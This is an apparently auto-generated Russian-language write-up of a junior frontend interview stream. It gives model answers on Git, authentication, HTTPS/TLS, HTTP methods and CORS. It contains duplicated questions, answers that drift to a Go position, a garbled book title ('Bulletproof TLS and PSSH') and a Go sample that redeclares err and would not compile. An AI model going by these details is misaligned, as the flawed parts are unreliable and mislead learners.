Перейти к основному содержимому

РЕАЛЬНОЕ СОБЕСЕДОВАНИЕ НА ДЖУНА + LIVE CODING | FRONTEND РАЗРАБОТЧИК СТРИМ

· 61 мин. чтения

Сегодня мы разберем расшифровку неформального стрима-собеседования, где два спикера обсуждают с аудиторией актуальные направления в IT, дают советы по выбору стека и рассказывают о планах запуска образовательных марафонов по DevOps. В ходе беседы затрагиваются вопросы трудоустройства, конкуренции на рынке и ценности высшего образования в сфере технологий.

Вопрос 1. Какая у тебя специальность и на каком курсе ты учишься?

Таймкод: 00:00:00

Ответ собеседника: Правильный. Программная инженерия, второй курс.

Правильный ответ:

Это стандартный вводный вопрос, который помогает интервьюеру понять текущий уровень подготовки и контекст кандидата. Ответ должен быть кратким и честным.

Что стоит учитывать при ответе:

  • Укажи точное название специальности и курс — это задаёт ожидания относительно глубины технических знаний.
  • Если специальность напрямую связана с разработкой ПО (как в данном случае — «Программная инженерия»), это плюс, так как подразумевает знакомство с основами программирования, алгоритмов, структур данных.
  • Второй курс — это нормально для стажировки или junior-позиции. Интервьюер не ожидает глубокого опыта, но будет оценивать базовые знания, мотивацию и способность учиться.

Дополнительно можно добавить (по желанию):

Если есть релевантный опыт вне учёбы — pet-проекты, open-source контрибуции, участие в хакатонах или курсах по Go — стоит упомянуть это сразу после ответа на вопрос. Например: «Параллельно с учёбой изучаю Go, написал несколько проектов на этом языке, включая REST API с использованием Gin и PostgreSQL». Это сразу переводит разговор в техническое русло и показывает инициативность.

Вопрос 2. Почему выбрали именно фронтенд-разработку?

Таймкод: 00:03:03

Ответ собеседника: Неполный. Нравится, что результат работы виден сразу, и порог входа в фронтенд ниже по сравнению с другими направлениями.

Правильный ответ:

Ответ кандидата поверхностный и содержит спорное утверждение о «низком пороге входа», которое скорее минус, чем плюс — оно может создать впечатление что выбор сделан из-за лёгкости, а не из-за интереса к предметной области.

Как стоит отвечать на этот вопрос:

Ответ должен демонстрировать осознанный выбор и понимание специфики направления. Можно раскрыть несколько аспектов:

Визуальная обратная связь и пользовательский опыт. Фронтенд — это слой, где встречаются инженерия и дизайн. Результат работы виден сразу в браузере, что даёт быструю обратную связь и мотивацию. Но важнее то, что фронтенд-разработчик напрямую влияет на то, как пользователь взаимодействует с продуктом — это ответственность и творческая составляющая одновременно.

Сложность и глубина фронтенда. Современный фронтенд — это не только HTML/CSS. Это управление состоянием приложения, асинхронные операции, оптимизация производительности (lazy loading, code splitting, мемоизация), работа с сетью (HTTP/2, WebSocket, Server-Sent Events), обеспечение доступности (a11y), кроссбраузерная совместимость. Порог входа действительно ниже, но порог экспертизы — очень высокий.

Технологический стек и экосистема. Можно упомянуть конкретные фреймворки и инструменты, которые привлекают: React, Vue, Svelte, TypeScript, Vite, и объяснить почему. Например: «Мне нравится компонентный подход React и строгая типизация TypeScript, которая помогает ловить ошибки на этапе компиляции».

Проблемы, которые решает фронтенд. Интерес к конкретным задачам — построение отзывчивых интерфейсов, оптимизация Core Web Vitals, реализация сложных анимаций, работа с реальным временем — показывает зрелость кандидата.

Важно: если кандидат на позицию Go-разработчика говорит про фронтенд, это сигнал для интервьюера уточнить мотивацию — почему Go, если интерес к фронтенду? Возможно, кандидат ещё ищет себя, и это нормально для второго курса, но стоит быть готовым к вопросу о том, почему бэкенд тоже интересен.

Вопрос 3. Есть ли страх, что если фронтенд даётся легко, то и другие смогут так же, и конкуренция будет высокой?

Таймкод: 00:03:33

Ответ собеседника: Неполный. Не думал об этом, рано думать, 19 лет, надеюсь что хватит места, нужно выделяться.

Правильный ответ:

Откандидата уклончивый и незрелый — он не раскрыл суть вопроса. Интервьюер проверяет понимание рынка и способность к стратегическому мышлению о карьере. Ответ «рано думать» — упущенная возможность показать осведомлённость.

Как стоит отвечать:

Конкуренция есть, и это нормально. Да, в фронтенде высокая конкуренция на уровне junior, потому что порог входа действительно ниже — можно собрать первое приложение за несколько недель. Но это не повод для страха, а повод задуматься о дифференциации.

Что отличает сильного разработчика:

  • Глубина понимания. Знание не только как использовать React, но и как он работает внутри (Virtual DOM reconciliation, Fiber architecture, concurrent mode). Понимание event loop в браузере, рендеринга страницы от HTML до пикселя.
  • Системное мышление. Умение проектировать архитектуру фронтенд-приложения: как организовать стейт-менеджмент, как разделить код на модули, как обеспечить тестируемость.
  • Смежные знания. Понимание бэкенда, сетей, безопасности (CORS, XSS, CSRF), производительности (Lighthouse, Web Vitals). Фронтенд-разработчик, который понимает как работает API, стоит дороже.
  • Инструменты и DevOps. Знание CI/CD, Docker, мониторинга — это расширяет зону ответственности и ценность на рынке.

Стратегия дифференциации:

Лёгкость входа — это свойство начального уровня. На уровне middle и senior конкуренция значительно ниже, потому что требуется опыт принятия архитектурных решений, менторства, работы с legacy-кодом. Нужно не бояться конкуренции, а целенаправленно двигаться вглубь — от умения «делать работающее» к умению «делать правильно, поддерживаемо и эффективно».

Конкретный пример ответа:

«Конкуренция на рынке фронтенда действительно высокая на junior-уровне, и это объяснимо — низкий порог входа привлекает много людей. Но я вижу в этом не угрозу, а фильтр. Большинство останавливаются на базовом уровне, и те, кто идёт глубше — разбирается в архитектуре, производительности, типизации — быстро выделяются. Моя стратегия — не просто изучать инструменты, а понимать почему они устроены так, как устроены, и набирать опыт на реальных проектах».

Вопрос 4. Боитесь ли вы, что ИИ заменит фронтенд-разработчиков?

Таймкод: 00:04:06

Ответ собеседника: Неполный. Слышал что ИИ может тупить при масштабных задачах, сам сталкивался с тем что при запросе добавить корзину результат был не очень качественным.

Правильный ответ:

Ответ кандидата слишком поверхностный и не демонстрирует понимания реальной картины. Интервьюер ожидает зрелого взгляда на роль ИИ в разработке и понимания того, какие навыки останутся ценными.

Как стоит отвечать:

ИИ — это инструмент, а не замена. Современные ИИ-инструменты (GitHub Copilot, ChatGPT, Cursor) уже сейчас ускоряют написание рутинного кода, генерацию шаблонов, написание тестов. Но они не заменяют разработчика — они заменяют часть рутины. Это похоже на то, как появление фреймворков не убило профессию программиста, а подняло уровень абстракции.

Что ИИ пока не умеет:

  • Принимать архитектурные решения. Выбор между монолитом и микросервисами, между Redux и Zustand, между SSR и CSR — это решения, которые зависят от контекста бизнеса, команды, масштаба проекта. ИИ не понимает бизнес-требования.
  • Работать с legacy-кодом. Понять чужой код, написанный 5 лет назад без документации, и внести изменения без поломки — это задача, требующая контекста и интуиции.
  • Коммуникация и менторинг. Обсуждение требований с заказчиком, code review, помощь коллегам — это социальные навыки, которые ИИ не заменит.
  • Ответственность за качество. ИИ может сгенерировать код, но кто отвечает за то, что он работает правильно, безопасно и эффективно? Разработчик.

Что изменится в профессии:

Роль разработчика сместится от «написания кода» к «проектированию систем и контролю качества». Те, кто умеет эффективно использовать ИИ как инструмент, будут более продуктивны. Те, кто полагается только на ИИ без понимания основ, — будут уязвимы.

Конкретный пример ответа:

«Я не боюсь, что ИИ заменит разработчиков, но я уверен, что разработчики, которые используют ИИ, заменят тех, кто его не использует. ИИ — это мощный инструмент для рутины: генерация boilerplate, написание тестов, рефакторинг. Но он не понимает бизнес-логику, не принимает архитектурных решений, не несёт ответственности за результат. Мой подход — учиться использовать ИИ как парного программиста, но при этом углублять фундаментальные знания, чтобы понимать и контролировать то, что генерирует ИИ. Лично я заметил, что для простых задач ИИ справляется хорошо, но как только задача требует понимания контекста проекта, работы с существующей кодовой базой или нестандартных решений — качество падает. Это значит, что ценность разработчика с глубоким пониманием только растёт».

Вопрос 5. Не боитесь ли вы, что ИИ заменит фронтенд-разработчиков?

Таймкод: 00:04:08

Ответ собеседника: Неполный. Слышал что ИИ может тупить при масштабных задачах, сам сталкивался с тем что при запросе добавить корзину результат был не очень качественным.

Правильный ответ:

Этот вопрос дублирует предыдущий (Вопрос 4), поэтому здесь можно ограничиться кратким ответом с развитием ранее сказанного.

Кандидат повторяет тот же поверхностный ответ. Если вопрос задан дважды, стоит расширить и углубить ответ, а не повторяться.

Дополнительные аргументы, которые можно добавить:

Историческая перспектива. Каждый раз, когда появлялся новый инструмент, провозглашали «конец программирования»: компиляторы, IDE, фреймворки, low-code платформы. Вместо этого каждый раз профессия эволюционировала — появлялись новые специализации, росли требования к качеству, увеличивался масштаб проектов. ИИ — следующий шаг в этой цепочке, а не конец.

Экономический аргумент. Спрос на программное обеспечение растёт быстрее, чем количество разработчиков. Даже если ИИ увеличит продуктивность одного разработчика в 2-3 раза, это не покроет дефика кадров. Будет больше проектов, больше сложных систем, больше необходимости в людях, которые понимают как всё работает.

Практическая рекомендация для кандидата: если интервьюер повторяет вопрос, это сигнал, что первый ответ не удовлетворил. Не стоит повторяться — лучше сказать: «Я уже частично ответил на этот вопрос, но могу добавить ещё несколько мыслей» и развить тему с другой стороны.

Вопрос 6. Как давно занимаетесь фронтендом? Учат ли в университете этому?

Таймкод: 00:05:00

Ответ собеседника: Правильный. В университете фронтенда практически нет, был только курс по компьютерным сетям где поверхностно упоминали React как популярный фреймворк. Занимается самостоятельно.

Правильный ответ:

Это уточняющий вопрос о контексте обучения. Ответ кандидата адекватный — он честно описывает ситуацию.

Что стоит добавить к такому ответу:

Конкретику по самообразованию. Университетские программы в большинстве вузов действительно отстают от индустрии на 5-10 лет. Это нормально — университет даёт фундаментальные знания (алгоритмы, структуры данных, операционные системы, сети), а прикладные технологии нужно осваивать самостоятельно. Но важно показать, что самообразование — это не «посмотрел пару видео», а системный процесс.

Пример развёрнутого ответа:

«В университете фронтенду практически не учат — максимум поверхностное упоминание технологий в контексте других курсов. Я занимаюсь самостоятельно уже [указать срок]: прошёл курсы по React и TypeScript, собрал несколько pet-проектов, читал документацию и статьи. Университет дал мне хорошую базу в алгоритмах и понимании как работает сеть, что помогает в фронтенде — например, я понимаю как работает HTTP, зачем нужны заголовки кеширования, как оптимизировать загрузку ресурсов».

Почему это важно для интервьюера:

Интервьюер оценивает способность кандидата к самообучению — это ключевой навык для разработчика, независимо от направления. Кандидат, который может самостоятельно освоить технологию, адаптируется к новым требованиям быстрее, чем тот, кто ждёт инструкций.

Вопрос 7. React — это фреймворк или библиотека?

Таймкод: 00:05:32

Ответ собеседника: Правильный. Библиотека.

Правильный ответ:

Ответ правильный, но для более полного ответа стоит объяснить разницу и почему React — именно библиотека.

Библиотека vs Фреймворк — ключевое отличие:

Библиотека — набор функций и инструментов, которые разработчик вызывает по своему усмотрению. Разработчик контролирует поток выполнения и решает когда и как использовать библиотеку. Примеры: React, jQuery, Lodash, Axios.

Фреймворк — это каркас, который диктует архитектуру приложения и поток выполнения. Разработчик пишет код, который фреймворк вызывает (инверсия управления). Примеры: Angular, Next.js, Nuxt.js, Django, Spring.

Почему React — библиотека:

React решает одну конкретную задачу — рендеринг пользовательского интерфейса через компонентный подход и Virtual DOM. Он не диктует:

  • как организовать маршрутизацию (нужен React Router)
  • как управлять состоянием (нужен Redux, Zustand, Context API)
  • как работать с формами (нужен React Hook Form, Formik)
  • как выполнять сборку (нужен Webpack, Vite, esbuild)

Разработчай сам собирает стек технологий вокруг React. Именно поэтому React называют библиотекой, а не фреймворком.

Важное уточнение:

Хотя формально React — библиотека, в экосистеме существуют фреймворки на базе React: Next.js и Remix. Они берут на себя маршрутизацию, серверный рендеринг, оптимизацию и другие задачи, превращая React в полноценный фреймворк. Поэтому на собеседовании корректно сказать: «React — это библиотека для построения пользовательских интерфейсов. Но существуют фреймворки на его основе, такие как Next.js, которые добавляют маршрутизацию, SSR и другие возможности».

Вопрос 8. React — это фреймворк или библиотека?

Таймкод: 00:05:35

Ответ собеседника: Правильный. Библиотека.

Правильный ответ:

Вопрос полностью дублирует предыдущий (Вопрос 7). Подробный ответ уже дан выше.

Кратко: React — это библиотека для построения пользовательских интерфейсов. Он предоставляет инструменты для создания компонентов и управления рендерингом, но не диктует архитектуру приложения — это отличает его от фреймворков вроде Angular. Фреймворки на базе React (Next.js, Remix) уже являются полноценными фреймворками.

Вопрос 9. Почему перешли с React на Vue? Откуда узнали про React?

Таймкод: 00:09:28

Ответ собеседника: Неполный. React начал использовать после просмотра видео в интернете, не проверив документацию. Перешёл на Vue потому что React стал странно работать, и потом понял что React уже устаревает.

Правильный ответ:

Ответ кандидата содержит несколько проблемных моментов, которые стоит разобрать.

Проблема 1: «React устаревает» — это неверное утверждение.

React не устаревает. По данным различных опросов (Stack Overflow Developer Survey, State of JS), React стабильно занимает первое или второе место по популярности среди фронтенд-фреймворков уже много лет. У него огромная экосистема, поддержка Meta (Facebook), и он активно развивается — Concurrent Mode, Server Components, React Compiler. Это зрелая и стабильная технология.

Проблема 2: «React стал странно работать» — размытое объяснение.

Скорее всего, кандидат столкнулся с типичными трудностями новичка:

  • Проблемы с настройкой окружения (Webpack, Babel)
  • Непонимание правил хуков (hooks rules)
  • Проблемы с управлением состоянием
  • Путаница между классовыми и функциональными компонентами

Вместо того чтобы разобраться в причине, кандидат решил переключиться на другой фреймворк. Это распространённая ловушка — «трава зеленее на другой стороне». Vue действительно имеет более низкий порог входа благодаря шаблонному синтаксису и встроенным решениям (Vue Router, Pinia), но проблемы, с которыми столкнулся кандидат в React, скорее всего были связаны с недостатком понимания основ, а не с самим фреймворком.

Как стоит отвечать на подобный вопрос:

Если вы действительно переключались между технологиями, честно объясните причины:

«Я начал с React, но на начальном этапе столкнулся с трудностями в понимании управления состоянием и хуков. Vue показался мне более интуитивным благодаря Options API и встроенным решениям для маршрутизации и стейт-менеджмента. Однако со временем я понял, что многие проблемы были связаны не с React, а с моим уровнем подготовки. Сейчас я понимаю что обе технологии зрелые и имеют свои сильные стороны — React с его гибкостью и экосистемой, Vue с его элегантностью и простотой для новичков».

Ключевой вывод для кандидата:

Переход между фреймворками — это нормально, но важно понимать причины. Если вы уходите от технологии потому что «она странно работает» — скорее всего, проблема в понимании, а не в технологии. На интервью это видно и снижает оценку кандидата.

Вопрос 10. Как организовали работу с Git? Использовали ли ветки и pull request?

Таймкод: 00:10:08

Ответ собеседника: Неправильный. Коммитил напрямую в main ветку, использовал git commit -m. Локально пробовал делать ветки, но потом удалил. Не использовал pull request и не описывал коммиты осмысленно.

Правильный ответ:

Ответ кандидата показывает отсутствие понимания базовых практик работы с Git, которые являются обязательными в профессиональной разработке. Это серьёзный пробел.

Почему коммиты напрямую в main — проблема:

  • main/master — стабильная ветка. Она всегда должна содержать рабочий, протестированный код. Коммитя туда напрямую, вы рискуете сломать сборку.
  • Нет изоляции изменений. Если что-то пойдёт не так, откатить конкретное изменение сложно.
  • Невозможность код-ревью. Другие разработчики не могут проверить код до попадания в основную ветку.

Как правильно организовать работу с Git:

1. Ветвление (Branching Strategy).

Самый простой и распространённый подход — GitHub Flow или Git Flow:

# Создаём ветку для новой задачи
git checkout -b feature/user-authentication

# Работаем, коммитим
git add .
git commit -m "feat: add user login form with validation"

# Отправляем на удалённый репозиторий
git push origin feature/user-authentication

# Создаём Pull Request на GitHub/GitLab

2. Pull Request (PR) / Merge Request (MR).

PR — это механизм код-ревью. Вы предлагаете изменения, другие разработчики проверяют код, оставляют комментарии, и только после одобрения изменения попадают в main.

3. Осмысленные сообщения коммитов.

Используйте конвенцию Conventional Commits:

<тип>[необязательная область]: <описание>

[необязательное тело]

[необязательный футер]

Примеры:

# Добавление функциональности
git commit -m "feat(auth): add JWT token refresh mechanism"

# Исправление бага
git commit -m "fix(cart): correct total price calculation for discounted items"

# Рефакторинг
git commit -m "refactor(user-service): extract validation logic to separate module"

# Документация
git commit -m "docs: update API endpoints in README"

Основные типы:

  • feat — новая функциональность
  • fix — исправление бага
  • refactor — изменение кода без изменения поведения
  • docs — изменения в документации
  • test — добавление или изменение тестов
  • chore — рутинные задачи (обновление зависимостей, настройка)

4. Практические рекомендации.

  • Коммиты должны быть атомарными — один коммит = одна логическая единица изменений.
  • Не коммитьте сгенерированные файлы (node_modules, dist, .env).
  • Используйте .gitignore для исключения ненужных файлов.
  • Регулярно делайте git pull перед началом работы, чтобы избежать конфликтов.

Что сказать на интервью:

«Честно говоря, на текущем этапе я не использовал полноценный Git workflow — коммитил напрямую в main. Но я понимаю что это неправильно и изучаю правильные практики: ветвление, pull request, conventional commits. В следующем проекте планирую использовать feature-ветки и PR для всех изменений». Честное признание пробела + понимание правильного подхода = лучше, чем попытка скрыть незнание.

Вопрос 11. Чем отличается аутентификация от авторизации?

Таймкод: 00:15:35

Ответ собеседника: Правильный. Аутентификация — это проверка, кто ты такой (логин/пароль). Авторизация — это определение, какие права у пользователя.

Правильный ответ:

Ответ правильный и покрывает суть. Для более полного ответа можно раскрыть тему глубже.

Аутентификация (Authentication — «кто ты?»)

Процесс проверки подлинности пользователя. Отвечает на вопрос: «Ты действительно тот, за кого себя выдаёшь?»

Способы аутентификации:

  • Логин и пароль — классический способ
  • Токены (JWT) — после входа сервер выдаёт токен, который клиент отправляет с каждым запросом
  • OAuth 2.0 — аутентификация через сторонние сервисы (Google, GitHub)
  • SSO (Single Sign-On) — единый вход для нескольких систем
  • Многофакторная аутентификация (MFA) — пароль + SMS/приложение/биометрия
  • Сертификаты — клиентские TLS-сертификаты

Авторизация (Authorization — «что тебе можно?»)

Процесс определения прав доступа аутентифицированного пользователя. Отвечает на вопрос: «Какие действия тебе разрешены?»

Модели авторизации:

  • RBAC (Role-Based Access Control) — права определяются ролями (admin, moderator, user)
  • ABAC (Attribute-Based Access Control) — права определяются атрибутами (время, местоположение, тип ресурса)
  • ACL (Access Control List) — список разрешений для каждого ресурса

Пример из практики:

// Аутентификация: проверяем логин и пароль
func (s *AuthService) Login(ctx context.Context, email, password string) (string, error) {
user, err := s.userRepo.GetByEmail(ctx, email)
if err != nil {
return "", fmt.Errorf("user not found")
}

if !CheckPasswordHash(password, user.PasswordHash) {
return "", fmt.Errorf("invalid password")
}

// Генерируем JWT-токен
token, err := s.jwtManager.Generate(user.ID, user.Role)
if err != nil {
return "", err
}

return token, nil
}

// Авторизация: проверяем роль пользователя
func AdminOnlyMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
claims := c.MustGet("claims").(*JWTClaims)
if claims.Role != "admin" {
c.AbortWithStatusJSON(403, gin.H{"error": "access denied"})
return
}
c.Next()
}
}

Ключевой принцип: аутентификация всегда происходит до авторизации. Сначала система узнаёт, кто вы, затем решает, что вам разрешено делать.

Вопрос 12. Чем HTTP отличается от HTTPS?

Таймкод: 00:15:54

Ответ собеседника: Неполный. HTTPS — это защищённая версия HTTP с сертификатом. Данные шифруются, и сайт считается безопасным. Защищаемся от хакеров и вирусами. Не смог объяснить что такое TLS и как именно работает шифрование.

Правильный ответ:

Ответ кандидата поверхностный и содержит неточности («защита от вирусов» — неверная формулировка). Разберём тему подробно.

HTTP vs HTTPS — ключевое отличие:

HTTP (HyperText Transfer Protocol) — протокол передачи данных в открытом виде. Всё, что передаётся между клиентом и сервером, может быть прочитано любым посредником (провайдер, злоумышленник в сети).

HTTPS (HTTP Secure) — HTTP + TLS (Transport Layer Security). Все данные шифруются перед передачей.

Что такое TLS и как он работает:

TLS — криптографический протокол, обеспечивающий три свойства:

  • Конфиденциальность — данные зашифрованы, их нельзя прочитать без ключа
  • Целостность — данные нельзя изменить незаметно
  • Аутентификация — клиент убеждается, что общается с тем сервером, с которым хотел

TLS Handshake (установление соединения):

Клиент Сервер
| |
|--- ClientHello (версии, алгоритмы) --->|
| |
|<-- ServerHello (выбранный алгоритм) ---|
|<-- Certificate (серверный сертификат) --|
|<-- ServerHelloDone --------------------|
| |
|--- KeyExchange (pre-master secret) --->|
|--- ChangeCipherSpec ------------------>|
|--- Finished (зашифрованное) ----------->|
| |
|<-- ChangeCipherSpec -------------------|
|<-- Finished (зашифрованное) ------------|
| |
|==== Зашифрованный обмен данными ========|

Подробнее о шагах:

  1. ClientHello — клиент отправляет поддерживаемые версии TLS, наборы шифров (cipher suites), случайное число.
  2. ServerHello — сервер выбирает версию TLS и набор шифров, отправляет своё случайное число.
  3. Certificate — сервер отправляет свой цифровой сертификат, подписанный центром сертификации (CA).
  4. Key Exchange — клиент проверяет сертификат, генерирует pre-master secret, шифрует его публичным ключом сервера и отправляет.
  5. Обе стороны вычисляют общий session key из pre-master secret и случайных чисел.
  6. ChangeCipherSpec — стороны переключаются на зашифрованное общение.

Асимметричное и симметричное шифрование:

TLS использует оба типа:

  • Асимметричное (RSA, ECDHE) — для обмена ключами при handshake. Медленное, но безопасное.
  • Симметричное (AES, ChaCha20) — для шифрования данных после handshake. Быстрое и эффективное.

Сертификаты и цепочка доверия:

Сертификат сервера содержит публичный ключ и подписан центром сертификации (CA). Браузер доверяет корневым сертификатам CA и может проверить подлинность серверного сертификата по цепочке доверия.

Почему это важно для разработчика:

  • Без HTTPS данные пользователей (пароли, платёжные данные) передаются открытым текстом
  • Браузеры помечают HTTP-сайты как «Небезопасные»
  • SEO: Google ранжирует HTTPS-сайты выше
  • Для работы с современными API (геолокация, уведомления) требуется HTTPS

Пример настройки HTTPS в Go:

func main() {
router := gin.Default()

router.GET("/api/health", func(c *gin.Context) {
c.JSON(200, gin.H{"status": "ok"})
})

// HTTPS с автоматическим TLS от Let's Encrypt
err := autotls.Run(router, "example.com", "www.example.com")
if err != nil {
log.Fatal(err)
}

// Или вручную с сертификатом
err := router.RunTLS(":443", "cert.pem", "key.pem")
if err != nil {
log.Fatal(err)
}
}

Вопрос 13. Чем HTTP отличается от HTTPS? Что такое TLS?

Таймкод: 00:15:57

Ответ собеседника: Неполный. HTTPS — это защищённая версия HTTP с сертификатом, защищает от хакеров и вирусов. Про TLS знает что-то слышал, но не смог объяснить подробнее.

Правильный ответ:

Этот вопрос дублирует предыдущий (Вопрос 12). Подробный ответ уже дан выше.

Краткое резюме:

HTTP передаёт данные в открытом виде, HTTPS — шифрует их с помощью TLS (Transport Layer Security). TLS обеспечивает конфиденциальность, целостность и аутентификацию через механизм handshake с использованием асимметричного шифрования для обмена ключами и симметричного для шифрования данных.

Кандидат должен изучить тему TLS подробнее — это базовое знание для любого разработчика. Рекомендуемые ресурсы:

  • RFC 8446 (TLS 1.3)
  • Книга «Bulletproof TLS and PSSH»
  • Статья «The Illustrated TLS Connection» (https://tls13.xargs.org/)

Вопрос 14. Какие HTTP-методы знаете? Чем они отличаются?

Таймкод: 00:17:19

Ответ собеседника: Неполный. GET, POST, PUT, PATCH, DELETE. GET получает данные, POST создает данные. Упомянул что GET кэшируется. Знает про REST API как архитектуру взаимодействия клиента с сервером, но признал что есть пробелы.

Правильный ответ:

Кандидат перечислил основные методы, но ответ неполный. Разберём подробно.

Основные HTTP-методы:

GET — получение ресурса. Идемпотентный, безопасный, кэшируемый.

# Получить список пользователей
GET /api/users

# Получить конкретного пользователя
GET /api/users/123

# С параметрами пагинации
GET /api/users?page=1&limit=20

POST — создание нового ресурса. Не идемпотентный (повторный запрос создаст ещё один ресурс).

# Создать пользователя
POST /api/users
Content-Type: application/json

{
"name": "John Doe",
"email": "john@example.com"
}

PUT — полное обновление ресурса. Идемпотентный — повторный запрос с теми же данными даст тот же результат.

# Полностью обновить пользователя
PUT /api/users/123
Content-Type: application/json

{
"name": "John Smith",
"email": "johnsmith@example.com",
"role": "admin"
}

PATCH — частичное обновление ресурса. Идемпотентный (зависит от реализации).

# Обновить только email
PATCH /api/users/123
Content-Type: application/json

{
"email": "newemail@example.com"
}

DELETE — удаление ресурса. Идемпотентный.

DELETE /api/users/123

Дополнительные методы:

HEAD — как GET, но без тела ответа. Полезно для проверки существования ресурса или получения метаданных.

HEAD /api/users/123
# Ответ: 200 OK, но без тела

OPTIONS — получение списка поддерживаемых методов для ресурса. Используется в CORS preflight-запросах.

OPTIONS /api/users
# Ответ: Allow: GET, POST, PUT, DELETE

TRACE — диагностический метод, возвращает полученный запрос «как есть». Обычно отключён из соображений безопасности.

Ключевые свойства методов:

Идемпотентность — многократный вызов даёт тот же результат, что и однократный. Идемпотентные: GET, PUT, DELETE, HEAD, OPTIONS. Не идемпотентный: POST. PATCH — зависит от реализации.

Безопасность — метод не изменяет состояние сервера. Безопасные: GET, HEAD, OPTIONS. Остальные — нет.

Кэшируемость — ответ можно сохранить и переиспользовать. Кэшируемые: GET, HEAD, POST (при наличии соответствующих заголовков).

REST API — кратко:

REST (Representational State Transfer) — архитектурный стиль, где:

  • Ресурсы идентифицируются через URL (/api/users/123)
  • Операции над ресурсами выполняются через HTTP-методы
  • Сервер не хранит состояние клиента между запросами (stateless)
  • Ответы могут быть в формате JSON, XML или другом

Пример RESTful API в Go:

func SetupRouter() *gin.Engine {
r := gin.Default()

users := r.Group("/api/users")
{
users.GET("", listUsers) // Получить список
users.GET("/:id", getUser) // Получить одного
users.POST("", createUser) // Создать
users.PUT("/:id", updateUser) // Полное обновление
users.PATCH("/:id", patchUser) // Частичное обновление
users.DELETE("/:id", deleteUser) // Удалить
}

return r
}

func getUser(c *gin.Context) {
id := c.Param("id")
user, err := userService.GetByID(c.Request.Context(), id)
if err != nil {
c.JSON(404, gin.H{"error": "user not found"})
return
}
c.JSON(200, user)
}

func createUser(c *gin.Context) {
var input CreateUserInput
if err := c.ShouldBindJSON(&input); err != nil {
c.JSON(400, gin.H{"error": err.Error()})
return
}

user, err := userService.Create(c.Request.Context(), input)
if err != nil {
c.JSON(500, gin.H{"error": "failed to create user"})
return
}

c.JSON(201, user)
}

Статус-коды, которые стоит знать:

  • 200 OK — успешный запрос
  • 201 Created — ресурс создан
  • 204 No Content — успешно, но тело ответа пустое
  • 400 Bad Request — некорректный запрос
  • 401 Unauthorized — не аутентифицирован
  • 403 Forbidden — нет прав доступа
  • 404 Not Found — ресурс не найден
  • 500 Internal Server Error — ошибка на сервере

Вопрос 15. Какие HTTP-методы знаете? Чем они отличаются?

Таймкод: 00:17:23

Ответ собеседния: Неполный. Назвал GET, POST, PUT, PATCH, DELETE. POST создаёт данные, GET получает. Упомянул что GET кэшируется. Знает про REST API как архитектуру взаимодействия клиента с сервером, но признал что есть пробелы.

Правильный ответ:

Вопрос полностью дублирует предыдущий (Вопрос 14). Подробный ответ уже дан выше с описанием всех HTTP-методов, их свойств (идемпотентность, безопасность, кэшируемость), дополнительных методов (HEAD, OPTIONS) и примерами кода на Go.

Вопрос 16. Что такое CORS и как его обойти?

Таймкод: 00:18:16

Ответ собеседника: Неполный. CORS — это политика браузера, которая запрещает обращаться к ресурсам с другого домена без разрешения. Обходится через заголовок Access-Control-Allow-Origin на бэкенде. Не знает других способов обхода без бэкенда.

Правильный ответ:

Кандидат верно описал суть CORS и основной способ настройки, но ответ неполный. Разберём тему глубже.

Что такое CORS:

CORS (Cross-Origin Resource Sharing) — механизм браузера, который контролирует доступ веб-страницы к ресурсам с другого источника (origin). Origin определяется тройкой: протокол + домен + порт.

https://example.com:443 ← один origin
http://example.com:80 ← другой origin (другой протокол)
https://api.example.com:443 ← другой origin (другой поддомен)
https://example.com:3000 ← другой origin (другой порт)

Зачем нужен CORS:

Без CORS любой сайт мог бы делать запросы к API других сайтов от имени пользователя. Например, вредоносный сайт мог бы отправить запрос к вашему банку и получить данные авторизованного пользователя. CORS защищает от таких атак.

Как работает CORS:

Simple Request (простой запрос):

Браузер отправляет запрос с заголовком Origin. Сервер отвечает с заголовком Access-Control-Allow-Origin. Если origin не совпадает — блокирует ответ.

Запрос:
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com

Ответ:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com

Preflight Request (предварительный запрос):

Для «непростых» запросов (с нестандартными заголовками, методами PUT/DELETE, Content-Type: application/json) браузер сначала отправляет OPTIONS-запрос:

Запрос:
OPTIONS /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

Ответ:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

Ключевые CORS-заголовки:

  • Access-Control-Allow-Origin — разрешённые origins (* или конкретный домен)
  • Access-Control-Allow-Methods — разрешённые HTTP-методы
  • Access-Control-Allow-Headers — разрешённые заголовки
  • Access-Control-Allow-Credentials — разрешены ли cookies и авторизационные заголовки
  • Access-Control-Max-Age — время кеширования preflight-ответа
  • Access-Control-Expose-Headers — заголовки, доступные клиенту

Настройка CORS в Go (Gin):

import "github.com/gin-contrib/cors"

func SetupCORS(r *gin.Engine) {
config := cors.Config{
AllowOrigins: []string{"https://frontend.example.com"},
AllowMethods: []string{"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"},
AllowHeaders: []string{"Origin", "Content-Type", "Authorization"},
ExposeHeaders: []string{"Content-Length"},
AllowCredentials: true,
MaxAge: 12 * time.Hour,
}

r.Use(cors.New(config))
}

// Или минимальная настройка для разработки:
func SetupDevCORS(r *gin.Engine) {
r.Use(cors.Default()) // Разрешает всё — только для разработки!
}

Способы обхода CORS (с контекстом):

1. Настройка сервера (правильный способ).

Настроить CORS-заголовки на бэкенде — единственный корректный способ для продакшена.

2. Прокси-сервер.

Фронтенд обращается к своему же серверу, который проксирует запрос к API:

// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true,
}
}
}
}

3. Nginx reverse proxy.

server {
listen 80;
server_name frontend.example.com;

location / {
root /var/www/frontend;
}

location /api/ {
proxy_pass https://api.example.com/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}

4. JSONP (устаревший).

Работает только для GET-запросов, использует тег <script>, который не подчиняется CORS. Устарел и не рекомендуется.

5. Отключение CORS в браузере (только для отладки).

# Chrome с отключённой безопасностью — только для разработки!
google-chrome --disable-web-security --user-data-dir=/tmp/chrome

